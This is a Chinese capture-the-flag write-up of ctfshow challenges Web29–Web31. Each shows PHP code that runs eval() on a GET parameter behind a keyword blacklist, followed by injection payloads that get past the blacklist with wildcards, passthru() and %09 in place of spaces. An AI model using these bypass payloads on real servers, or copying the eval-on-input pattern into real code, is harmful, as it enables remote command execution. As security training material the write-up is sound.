目录
Web29
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-04 00:12:34
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-04 00:26:48
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
可以看到,flag已经被过滤掉,先查看目录
我们可以使用通配符绕过flag的过滤
Web30
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-04 00:12:34
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-04 00:42:26
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
这次除了flag同时还过滤了system函数和php
虽然system函数被过滤,但是在php中有三个专门执行外部命令的函数system(),exec(),passthru(),换一个函数进行查看目录,使用通配符即可
Web31
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-04 00:12:34
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-04 00:49:10
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
查看源码,被禁用掉的关键词有flag,system,php,cat,sort,shell,点号、空格、单引号
发现之前所使用的passthru()函数并不影响。所以使用passthru()函数进行尝试,发现可以使用
?c=passthru("ls"); ?c=passthru("nl%20`ls`");//不可行原因是因为%20经过url解码之后的结果是空格,而空格已经被过滤掉了 ?c=passthru("nl%09`ls`");//解决方法就是将空格用其他组字符替换掉